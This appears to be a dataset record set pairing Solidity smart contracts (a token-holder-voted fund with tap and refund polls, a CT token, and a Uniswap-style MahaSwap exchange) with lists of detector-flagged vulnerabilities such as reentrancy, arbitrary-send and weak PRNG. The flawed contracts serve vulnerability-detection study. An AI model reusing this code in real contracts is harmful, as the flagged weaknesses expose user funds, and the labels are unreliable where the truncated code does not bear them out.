voiceWeight = voiceWeight <= maxVoiceWeight ? voiceWeight : maxVoiceWeight;
if(agree) {
yesCounter = safeAdd(yesCounter, voiceWeight);
} else {
noCounter = safeAdd(noCounter, voiceWeight);
}
votesByAddress[msg.sender].time = now;
votesByAddress[msg.sender].weight = voiceWeight;
votesByAddress[msg.sender].agree = agree;
totalVoted = safeAdd(totalVoted, 1);
}
/**
* @dev Revoke user`s vote
*/
function revokeVote() public checkTime {
require(votesByAddress[msg.sender].time > 0);
uint256 voiceWeight = votesByAddress[msg.sender].weight;
bool agree = votesByAddress[msg.sender].agree;
votesByAddress[msg.sender].time = 0;
votesByAddress[msg.sender].weight = 0;
votesByAddress[msg.sender].agree = false;
totalVoted = safeSub(totalVoted, 1);
if(agree) {
yesCounter = safeSub(yesCounter, voiceWeight);
} else {
noCounter = safeSub(noCounter, voiceWeight);
}
}
/**
* @dev Function is called after token transfer from user`s wallet to check and correct user`s vote
*
*/
function onTokenTransfer(address tokenHolder, uint256 amount) public {
require(msg.sender == fundAddress);
if(votesByAddress[tokenHolder].time == 0) {
return;
}
if(!checkTransfersAfterEnd) {
if(finalized || (now < startTime || now > endTime)) {
return;
}
}
if(token.balanceOf(tokenHolder) >= votesByAddress[tokenHolder].weight) {
return;
}
uint256 voiceWeight = amount;
if(amount > votesByAddress[tokenHolder].weight) {
voiceWeight = votesByAddress[tokenHolder].weight;
}
if(votesByAddress[tokenHolder].agree) {
yesCounter = safeSub(yesCounter, voiceWeight);
} else {
noCounter = safeSub(noCounter, voiceWeight);
}
votesByAddress[tokenHolder].weight = safeSub(votesByAddress[tokenHolder].weight, voiceWeight);
}
/**
* Finalize poll and call onPollFinish callback with result
*/
function tryToFinalize() public notFinalized returns(bool) {
if(now < endTime) {
return false;
}
finalized = true;
onPollFinish(isSubjectApproved());
return true;
}
function isNowApproved() public view returns(bool) {
return isSubjectApproved();
}
function isSubjectApproved() internal view returns(bool) {
return yesCounter > noCounter;
}
/**
* @dev callback called after poll finalization
*/
function onPollFinish(bool agree) internal;
}
// File: contracts/RefundPoll.sol
/**
* @title RefundPoll
* @dev Enables fund refund mode
*/
contract RefundPoll is BasePoll {
uint256 public holdEndTime = 0;
/**
* RefundPoll constructor
* @param _tokenAddress ERC20 compatible token contract address
* @param _fundAddress Fund contract address
* @param _startTime Poll start time
* @param _endTime Poll end time
*/
function RefundPoll(
address _tokenAddress,
address _fundAddress,
uint256 _startTime,
uint256 _endTime,
uint256 _holdEndTime,
bool _checkTransfersAfterEnd
) public
BasePoll(_tokenAddress, _fundAddress, _startTime, _endTime, _checkTransfersAfterEnd)
{
holdEndTime = _holdEndTime;
}
function tryToFinalize() public returns(bool) {
if(holdEndTime > 0 && holdEndTime > endTime) {
require(now >= holdEndTime);
} else {
require(now >= endTime);
}
finalized = true;
onPollFinish(isSubjectApproved());
return true;
}
function isSubjectApproved() internal view returns(bool) {
return yesCounter > noCounter && yesCounter >= safeDiv(token.totalSupply(), 3);
}
function onPollFinish(bool agree) internal {
IPollManagedFund fund = IPollManagedFund(fundAddress);
fund.onRefundPollFinish(agree);
}
}
// File: contracts/TapPoll.sol
/**
* @title TapPoll
* @dev Poll to increase tap amount
*/
contract TapPoll is BasePoll {
uint256 public tap;
uint256 public minTokensPerc = 0;
/**
* TapPoll constructor
* @param _tap New tap value
* @param _tokenAddress ERC20 compatible token contract address
* @param _fundAddress Fund contract address
* @param _startTime Poll start time
* @param _endTime Poll end time
* @param _minTokensPerc - Min percent of tokens from totalSupply where poll is considered to be fulfilled
*/
function TapPoll(
uint256 _tap,
address _tokenAddress,
address _fundAddress,
uint256 _startTime,
uint256 _endTime,
uint256 _minTokensPerc
) public
BasePoll(_tokenAddress, _fundAddress, _startTime, _endTime, false)
{
tap = _tap;
minTokensPerc = _minTokensPerc;
}
function onPollFinish(bool agree) internal {
IPollManagedFund fund = IPollManagedFund(fundAddress);
fund.onTapPollFinish(agree, tap);
}
function getVotedTokensPerc() public view returns(uint256) {
return safeDiv(safeMul(safeAdd(yesCounter, noCounter), 100), token.totalSupply());
}
function isSubjectApproved() internal view returns(bool) {
return yesCounter > noCounter && getVotedTokensPerc() >= minTokensPerc;
}
}
// File: contracts/PollManagedFund.sol
/**
* @title PollManagedFund
* @dev Fund controlled by users
*/
contract PollManagedFund is Fund, DateTime, ITokenEventListener {
uint256 public constant TAP_POLL_DURATION = 3 days;
uint256 public constant REFUND_POLL_DURATION = 7 days;
uint256 public constant MAX_VOTED_TOKEN_PERC = 10;
TapPoll public tapPoll;
RefundPoll public refundPoll;
uint256 public minVotedTokensPerc = 0;
uint256 public secondRefundPollDate = 0;
bool public isWithdrawEnabled = true;
uint256[] public refundPollDates = [
1530403200, // 01.07.2018
1538352000, // 01.10.2018
1546300800, // 01.01.2019
1554076800, // 01.04.2019
1561939200, // 01.07.2019
1569888000, // 01.10.2019
1577836800, // 01.01.2020
1585699200 // 01.04.2020
];
modifier onlyTokenHolder() {
require(token.balanceOf(msg.sender) > 0);
_;
}
event TapPollCreated();
event TapPollFinished(bool approved, uint256 _tap);
event RefundPollCreated();
event RefundPollFinished(bool approved);
/**
* @dev PollManagedFund constructor
* params - see Fund constructor
*/
function PollManagedFund(
address _teamWallet,
address _referralTokenWallet,
address _foundationTokenWallet,
address _companyTokenWallet,
address _reserveTokenWallet,
address _bountyTokenWallet,
address _advisorTokenWallet,
address[] _owners
) public
Fund(_teamWallet, _referralTokenWallet, _foundationTokenWallet, _companyTokenWallet, _reserveTokenWallet, _bountyTokenWallet, _advisorTokenWallet, _owners)
{
}
function canWithdraw() public returns(bool) {
if(
address(refundPoll) != address(0) &&
!refundPoll.finalized() &&
refundPoll.holdEndTime() > 0 &&
now >= refundPoll.holdEndTime() &&
refundPoll.isNowApproved()
) {
return false;
}
return isWithdrawEnabled;
}
/**
* @dev ITokenEventListener implementation. Notify active poll contracts about token transfers
*/
function onTokenTransfer(address _from, address /*_to*/, uint256 _value) external {
require(msg.sender == address(token));
if(address(tapPoll) != address(0) && !tapPoll.finalized()) {
tapPoll.onTokenTransfer(_from, _value);
}
if(address(refundPoll) != address(0) && !refundPoll.finalized()) {
refundPoll.onTokenTransfer(_from, _value);
}
}
/**
* @dev Update minVotedTokensPerc value after tap poll.
* Set new value == 50% from current voted tokens amount
*/
function updateMinVotedTokens(uint256 _minVotedTokensPerc) internal {
uint256 newPerc = safeDiv(_minVotedTokensPerc, 2);
if(newPerc > MAX_VOTED_TOKEN_PERC) {
minVotedTokensPerc = MAX_VOTED_TOKEN_PERC;
return;
}
minVotedTokensPerc = newPerc;
}
// Tap poll
function createTapPoll(uint8 tapIncPerc) public onlyOwner {
require(state == FundState.TeamWithdraw);
require(tapPoll == address(0));
require(getDay(now) == 10);
require(tapIncPerc <= 50);
uint256 _tap = safeAdd(tap, safeDiv(safeMul(tap, tapIncPerc), 100));
uint256 startTime = now;
uint256 endTime = startTime + TAP_POLL_DURATION;
tapPoll = new TapPoll(_tap, token, this, startTime, endTime, minVotedTokensPerc);
TapPollCreated();
}
function onTapPollFinish(bool agree, uint256 _tap) external {
require(msg.sender == address(tapPoll) && tapPoll.finalized());
if(agree) {
tap = _tap;
}
updateMinVotedTokens(tapPoll.getVotedTokensPerc());
TapPollFinished(agree, _tap);
delete tapPoll;
}
// Refund poll
function checkRefundPollDate() internal view returns(bool) {
if(secondRefundPollDate > 0 && now >= secondRefundPollDate && now <= safeAdd(secondRefundPollDate, 1 days)) {
return true;
}
for(uint i; i < refundPollDates.length; i++) {
if(now >= refundPollDates[i] && now <= safeAdd(refundPollDates[i], 1 days)) {
return true;
}
}
return false;
}
function createRefundPoll() public onlyTokenHolder {
require(state == FundState.TeamWithdraw);
require(address(refundPoll) == address(0));
require(checkRefundPollDate());
if(secondRefundPollDate > 0 && now > safeAdd(secondRefundPollDate, 1 days)) {
secondRefundPollDate = 0;
}
uint256 startTime = now;
uint256 endTime = startTime + REFUND_POLL_DURATION;
bool isFirstRefund = secondRefundPollDate == 0;
uint256 holdEndTime = 0;
if(isFirstRefund) {
holdEndTime = toTimestamp(
getYear(startTime),
getMonth(startTime) + 1,
1
);
}
refundPoll = new RefundPoll(token, this, startTime, endTime, holdEndTime, isFirstRefund);
RefundPollCreated();
}
function onRefundPollFinish(bool agree) external {
require(msg.sender == address(refundPoll) && refundPoll.finalized());
if(agree) {
if(secondRefundPollDate > 0) {
enableRefund();
} else {
uint256 startTime = refundPoll.startTime();
secondRefundPollDate = toTimestamp(
getYear(startTime),
getMonth(startTime) + 2,
1
);
isWithdrawEnabled = false;
}
} else {
secondRefundPollDate = 0;
isWithdrawEnabled = true;
}
RefundPollFinished(agree);
delete refundPoll;
}
function forceRefund() public onlyOwner {
enableRefund();
}
} | These are the vulnerabilities found
1) reentrancy-no-eth with Medium impact
2) arbitrary-send with High impact
3) incorrect-equality with Medium impact
4) uninitialized-local with Medium impact
5) weak-prng with High impact |
pragma solidity ^0.4.16;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract SafeMath {
function safeSub(uint a, uint b) pure internal returns (uint) {
sAssert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) pure internal returns (uint) {
uint c = a + b;
sAssert(c>=a && c>=b);
return c;
}
function sAssert(bool assertion) internal pure {
if (!assertion) {
revert();
}
}
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) public constant returns (uint);
function allowance(address owner, address spender) public constant returns (uint);
function transfer(address toAcct, uint value) public returns (bool ok);
function transferFrom(address fromAcct, address toAcct, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
event Transfer(address indexed fromAcct, address indexed toAcct, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Burn(address indexed fromAcct, uint256 value);
function transfer(address _toAcct, uint _value) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_toAcct] = safeAdd(balances[_toAcct], _value);
Transfer(msg.sender, _toAcct, _value);
return true;
}
function transferFrom(address _fromAcct, address _toAcct, uint _value) public returns (bool success) {
var _allowance = allowed[_fromAcct][msg.sender];
balances[_toAcct] = safeAdd(balances[_toAcct], _value);
balances[_fromAcct] = safeSub(balances[_fromAcct], _value);
allowed[_fromAcct][msg.sender] = safeSub(_allowance, _value);
Transfer(_fromAcct, _toAcct, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function burn(uint256 _value) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value); // Subtract from the sender
totalSupply = safeSub(totalSupply,_value); // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
}
contract CTCoin is Ownable, StandardToken {
string public name;
string public symbol;
uint public decimals;
uint public totalSupply;
/// @notice Initializes the contract and allocates all initial tokens to the owner and agreement account
function CTCoin() public {
totalSupply = 100 * (10**6) * (10**6);
balances[msg.sender] = totalSupply;
name = "CT";
symbol = "CT";
decimals = 6;
}
function () payable public{
}
/// @notice To transfer token contract ownership
/// @param _newOwner The address of the new owner of this contract
function transferOwnership(address _newOwner) public onlyOwner {
balances[_newOwner] = safeAdd(balances[owner], balances[_newOwner]);
balances[owner] = 0;
Ownable.transferOwnership(_newOwner);
}
// Owner can transfer out any ERC20 tokens sent in by mistake
function transferAnyERC20Token(address tokenAddress, uint amount) public onlyOwner returns (bool success)
{
return ERC20(tokenAddress).transfer(owner, amount);
}
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function mintToken(address _toAcct, uint256 _value) public onlyOwner {
balances[_toAcct] = safeAdd(balances[_toAcct], _value);
totalSupply = safeAdd(totalSupply, _value);
Transfer(0, this, _value);
Transfer(this, _toAcct, _value);
}
} | These are the vulnerabilities found
1) shadowing-abstract with Medium impact
2) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity =0.5.16;
import './libraries/Ownable.sol';
import './MahaswapV1Pair.sol';
import './interfaces/IUniswapV2Factory.sol';
contract MahaswapV1Factory is IMahaswapV1Factory, Ownable {
address public feeTo;
address public feeToSetter;
bool public allowPairCreation = true;
mapping(address => mapping(address => address)) public getPair;
address[] public allPairs;
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
constructor(address _feeToSetter) public {
feeToSetter = _feeToSetter;
}
function allPairsLength() external view returns (uint256) {
return allPairs.length;
}
function createPair(address tokenA, address tokenB) external returns (address pair) {
require(allowPairCreation, 'MahaswapV1Factory: pair creation disabled');
require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');
require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient
bytes memory bytecode = type(MahaswapV1Pair).creationCode;
bytes32 salt = keccak256(abi.encodePacked(token0, token1));
assembly {
pair := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
IMahaswapV1Pair(pair).initialize(token0, token1);
getPair[token0][token1] = pair;
getPair[token1][token0] = pair; // populate mapping in the reverse direction
allPairs.push(pair);
emit PairCreated(token0, token1, pair, allPairs.length);
}
function setFeeTo(address _feeTo) external {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
feeTo = _feeTo;
}
function setFeeToSetter(address _feeToSetter) external {
require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');
feeToSetter = _feeToSetter;
}
function setIncentiveControllerForPair(address pair, address controller) public onlyOwner {
IMahaswapV1Pair(pair).setIncentiveController(controller);
}
function setPairCreation(bool flag) public onlyOwner {
allowPairCreation = flag;
}
function setSwapingPausedForPair(address pair, bool isSet) public onlyOwner {
IMahaswapV1Pair(pair).setSwapingPaused(isSet);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.5.16;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.5.16;
import './libraries/Ownable.sol';
import './libraries/Math.sol';
import './MahaswapV1ERC20.sol';
import './interfaces/IERC20.sol';
import './libraries/UQ112x112.sol';
import './interfaces/IMahaswapV1Pair.sol';
import './interfaces/IMahaswapV1Callee.sol';
import './interfaces/IMahaswapV1Factory.sol';
import './interfaces/IIncentiveController.sol';
contract MahaswapV1Pair is IMahaswapV1Pair, MahaswapV1ERC20, Ownable {
using SafeMath for uint256;
using UQ112x112 for uint224;
uint256 public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint256 public price0Last;
uint256 public price1Last;
uint256 public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint256 private unlocked = 1;
// Controller which controls the incentives.
IIncentiveController public controller;
// Used to pause swaping activity.
bool swapingPaused = false;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
modifier checkIfPaused {
require(!swapingPaused, 'Pair: swapping is paused');
_;
}
function getReserves()
public
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
)
{
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(
address token,
address to,
uint256 value
) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
function setSwapingPaused(bool isSet) public onlyOwner {
swapingPaused = isSet;
}
function setIncentiveController(address newController) external onlyOwner {
require(newController != address(0), 'Pair: invalid address');
controller = IIncentiveController(newController);
}
// update reserves and, on the first call per block, price accumulators
function _update(
uint256 balance0,
uint256 balance1,
uint112 _reserve0,
uint112 _reserve1
) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0Last = uint256(UQ112x112.encode(_reserve1).uqdiv(_reserve0));
price1Last = uint256(UQ112x112.encode(_reserve0).uqdiv(_reserve1));
price0CumulativeLast += price0Last * timeElapsed;
price1CumulativeLast += price1Last * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// calls our special reward controller
function _reward(
uint256 amount0Out,
uint256 amount1Out,
uint256 amount0In,
uint256 amount1In,
address to
) private {
if (address(controller) == address(0)) return;
controller.conductChecks(
reserve0,
reserve1,
price0Last,
price1Last,
amount0Out,
amount1Out,
amount0In,
amount1In,
msg.sender,
to
);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint256 _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint256 rootK = Math.sqrt(uint256(_reserve0).mul(_reserve1));
uint256 rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint256 numerator = totalSupply.mul(rootK.sub(rootKLast));
uint256 denominator = rootK.mul(5).add(rootKLast);
uint256 liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint256 liquidity) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
uint256 balance0 = IERC20(token0).balanceOf(address(this));
uint256 balance1 = IERC20(token1).balanceOf(address(this));
uint256 amount0 = balance0.sub(_reserve0);
uint256 amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint256 amount0, uint256 amount1) {
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint256 balance0 = IERC20(_token0).balanceOf(address(this));
uint256 balance1 = IERC20(_token1).balanceOf(address(this));
uint256 liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint256 _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint256(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external lock checkIfPaused {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint256 balance0;
uint256 balance1;
{
// scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IMahaswapV1Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint256 amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint256 amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{
// scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(
balance0Adjusted.mul(balance1Adjusted) >= uint256(_reserve0).mul(_reserve1).mul(1000**2),
'UniswapV2: K'
);
}
// Get reserves after the trade was made.
_reward(amount0Out, amount1Out, amount0In, amount1In, to);
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity =0.5.16;
/**
* A library for performing various math operations
*/
library Math {
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function max(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x > y ? x : y;
}
// Babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
pragma solidity =0.5.16;
import './interfaces/IUniswapV2ERC20.sol';
import './libraries/SafeMath.sol';
contract MahaswapV1ERC20 is IUniswapV2ERC20 {
using SafeMath for uint256;
string public constant name = 'MahaSwap LP V1';
string public constant symbol = 'MLP-V1';
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint256) public nonces;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() public {
uint256 chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint256 value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(
address from,
address to,
uint256 value
) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint256 value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool) {
if (allowance[from][msg.sender] != uint256(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest =
keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity =0.5.16;
/**
* A library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
* range: [0, 2**112 - 1]
* resolution: 1 / 2**112
*/
library UQ112x112 {
uint224 constant Q112 = 2**112;
// Encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// Multiply a UQ112x112 by a uint112, returning a UQ112x112
function uqmul(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x * uint224(y);
}
// Divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0;
interface IMahaswapV1Pair {
